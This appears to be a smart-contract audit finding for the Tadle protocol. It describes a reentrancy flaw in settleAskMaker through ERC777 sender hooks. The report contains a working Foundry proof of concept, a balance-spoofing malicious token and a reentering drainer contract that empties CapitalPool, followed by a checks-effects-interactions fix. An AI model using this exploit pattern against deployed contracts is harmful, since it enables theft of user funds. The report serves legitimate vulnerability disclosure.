Summary
Users can settle an ASK offer multiple times if the ERC20 point token has implemented sender hooks. They can leverage this behavior to drain all the funds from CapitalPool
.
Vulnerability Details
According to the README, any ERC20 tokens will be accepted:
I will demonstrate with an ERC777 token for simplicity, but this works with any compatible ERC20 token with callback hooks.
Alice creates an ASK offer for 1000 points and 2000 collateral
Bob creates a BID order to buy 400 points, sending 800 as payment
Alice calls settleAskMaker
to settle 400 points on Bob order, the amount is transferred in tillIn
:
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L266C9-L273C10
This calls a safeTransferFrom
so the ERC777 callback is triggered and Alice can reenter:
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L93
-
Before sending the points, Alice reenters settleAskMaker
to settle the same offer again. The point token needs to trick the tokenManager
balance check as there are before/after balance checks, but this can be easily done (check the coded POC below for a detailed explanation).
-
Alice reenters the call 20 times, so she sells 8400 points instead of 400 points.
-
Alice is credited with 40_800 collateral which can now be withdrawn. She should have been credited 800 collateral instead, as Bob paid only that amount. The difference will be extracted by draining other markets that share the same collateral token.
Note, there is a whitelist check but this is disabled for points tokens, so it can't be disabled:
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L31
POC, setup this first:
Setup ERC777 library
Delete lib/openzeppelin-contracts
To keep the report short, I've used ERC777 from OZ. Install OpenZeppelin-v4.9.6
by running forge install OpenZeppelin/openzeppelin-contracts@v4.9.6 --no-commit
Rename lib/openzeppelin-contracts
to lib/openzeppelin-contracts-v4.9
Add @openzeppelin49/contracts/=lib/openzeppelin-contracts-v4.9/contracts/
to remappings.txt
Reinstall the new version of oz contracts, so everything else works properly, by running forge install OpenZeppelin/openzeppelin-contracts --no-commit
Coded POC
Add this to test/mocks/MaliciousToken.sol
:
pragma solidity ^0.8.13;
import {ERC777, IERC1820Registry} from "@openzeppelin49/contracts/token/ERC777/ERC777.sol";
import {DeliveryPlace} from "src/core/DeliveryPlace.sol";
contract MaliciousToken is ERC777 {
bool reentrancyCheck;
mapping(address => uint256) fakeAmounts;
constructor() ERC777("DrainerToken", "DRAIN", new address[](0)) {}
function balanceOf(address account) public view override returns (uint256) {
if(!reentrancyCheck)
return super.balanceOf(account);
return fakeAmounts[account];
}
function setReentrancyCheck(address sender, uint256 senderAmount, address receiver, uint256 receiverAmount) public {
fakeAmounts[sender] = senderAmount;
fakeAmounts[receiver] = receiverAmount;
}
function enableCheck(bool _reentrancyCheck) public{
reentrancyCheck = _reentrancyCheck;
}
function mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) public returns (bool) {
_mint(account, amount, userData, operatorData);
return true;
}
}
contract DrainerContract {
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
MaliciousToken token;
uint256 reentrancyTimes;
address offerAddress;
uint256 points;
DeliveryPlace deliveryPlace;
constructor(MaliciousToken _token) {
token = _token;
IERC1820Registry registry = IERC1820Registry(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
);
registry.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
registry.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, address(this));
}
function setReentrancyValues(uint256 _reentrancyTimes, DeliveryPlace _deliveryPlace, address _offerAddress, uint256 _points) public {
reentrancyTimes = _reentrancyTimes;
deliveryPlace = _deliveryPlace;
offerAddress = _offerAddress;
points = _points;
}
function tokensToSend(address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData) public {
if(reentrancyTimes > 0) {
reentrancyTimes -= 1;
deliveryPlace.settleAskMaker(offerAddress, points);
}
else {
token.enableCheck(true);
}
}
function tokensReceived(address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData) public {
}
}
Add the following test to test/PreMarkets.t.sol
and run forge test --via-ir --match-test test_h6_erc777_drain_ask_settle -vv
:
function test_h6_erc777_drain_ask_settle() public {
vm.etch(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),
bytes(
hex"608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029"
)
);
MaliciousToken maliciousPointToken = new MaliciousToken();
DrainerContract drainerContract = new DrainerContract(maliciousPointToken);
address alice = address(drainerContract);
address bob = makeAddr("bob");
uint256 aliceInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), alice, aliceInitialBalance);
vm.prank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
uint256 bobInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), bob, bobInitialBalance);
deal(address(mockUSDCToken), address(capitalPool), bobInitialBalance);
vm.prank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(alice);
uint256 collateralAmount = 2000 * 1e18;
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
collateralAmount,
10_000,
0,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offer0Addr = GenerateAddress.generateOfferAddress(0);
vm.startPrank(bob);
uint256 bobPoints = 400;
preMarktes.createTaker(offer0Addr, bobPoints);
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(maliciousPointToken),
1e18,
block.timestamp - 1,
3600
);
vm.startPrank(alice);
uint256 alicePoints = 10_000 * 1e18;
maliciousPointToken.mint(alice, alicePoints, "", "");
maliciousPointToken.approve(address(tokenManager), type(uint256).max);
maliciousPointToken.setReentrancyCheck(address(alice), alicePoints - 400 * 1e18, address(capitalPool), 400 * 1e18);
drainerContract.setReentrancyValues(20, deliveryPlace, offer0Addr, 400);
deliveryPlace.settleAskMaker(offer0Addr, 400);
maliciousPointToken.setReentrancyCheck(address(alice), 0, address(capitalPool), 0);
maliciousPointToken.enableCheck(false);
assertEq(maliciousPointToken.balanceOf(alice), 1600 * 1e18, "alice point token balance after askMaker");
vm.stopPrank();
vm.startPrank(bob);
deliveryPlace.closeBidTaker(stock1Addr);
vm.stopPrank();
uint256 tokenAmount;
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.MakerRefund);
assertEq(tokenAmount, 0 * 1e18, "refund alice");
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 0 * 1e18, "cash alice");
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 0 * 1e18, "token alice");
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 42_800 * 1e18, "sales alice");
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.MakerRefund);
assertEq(tokenAmount, 0, "refund bob");
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 0, "cash bob");
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 400 * 1e18, "token bob");
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 0 * 1e18, "sales bob");
vm.startPrank(alice);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
vm.stopPrank();
vm.startPrank(bob);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
vm.stopPrank();
assertEq(mockUSDCToken.balanceOf(alice), aliceInitialBalance + 40_800 * 1e18, "alice collateral balance");
assertEq(maliciousPointToken.balanceOf(alice), alicePoints - 8400 * 1e18, "alice point token balance");
assertEq(mockUSDCToken.balanceOf(bob), bobInitialBalance - 400 * 1e18 - 4 * 1e18, "bob collateral balance");
}
Impact
Impact: High (Protocol funds drained and high loss of user funds)
Likelihood: Medium (The point token needs hooks, but it bypasses the whitelist)
Risk: High
Tools Used
Manual Review
Recommendations
In DeliveryPlace
, change settleAskMaker
and ensure to follow CEI:
function settleAskMaker(address _offer, uint256 _settledPoints) external {
(
OfferInfo memory offerInfo,
MakerInfo memory makerInfo,
MarketPlaceInfo memory marketPlaceInfo,
MarketPlaceStatus status
) = getOfferInfo(_offer);
if (_settledPoints > offerInfo.usedPoints) {
revert InvalidPoints();
}
if (marketPlaceInfo.fixedratio) {
revert FixedRatioUnsupported();
}
if (offerInfo.offerType == OfferType.Bid) {
revert InvalidOfferType(OfferType.Ask, OfferType.Bid);
}
if (
offerInfo.offerStatus != OfferStatus.Virgin &&
offerInfo.offerStatus != OfferStatus.Canceled
) {
revert InvalidOfferStatus();
}
if (status == MarketPlaceStatus.AskSettling) {
if (_msgSender() != offerInfo.authority) {
revert Errors.Unauthorized();
}
} else {
if (_msgSender() != owner()) {
revert Errors.Unauthorized();
}
if (_settledPoints > 0) {
revert InvalidPoints();
}
}
uint256 settledPointTokenAmount = marketPlaceInfo.tokenPerPoint *
_settledPoints;
ITokenManager tokenManager = tadleFactory.getTokenManager();
- if (settledPointTokenAmount > 0) {
- tokenManager.tillIn(
- _msgSender(),
- marketPlaceInfo.tokenAddress,
- settledPointTokenAmount,
- true
- );
- }
uint256 makerRefundAmount;
if (_settledPoints == offerInfo.usedPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
makerRefundAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
offerInfo.amount,
true,
Math.Rounding.Floor
);
} else {
uint256 usedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
makerRefundAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
usedAmount,
true,
Math.Rounding.Floor
);
}
tokenManager.addTokenBalance(
TokenBalanceType.SalesRevenue,
_msgSender(),
makerInfo.tokenAddress,
makerRefundAmount
);
}
IPerMarkets perMarkets = tadleFactory.getPerMarkets();
perMarkets.settledAskOffer(
_offer,
_settledPoints,
settledPointTokenAmount
);
emit SettleAskMaker(
makerInfo.marketPlace,
offerInfo.maker,
_offer,
_msgSender(),
_settledPoints,
settledPointTokenAmount,
makerRefundAmount
);
+ if (settledPointTokenAmount > 0) {
+ tokenManager.tillIn(
+ _msgSender(),
+ marketPlaceInfo.tokenAddress,
+ settledPointTokenAmount,
+ true
+ );
+ }
}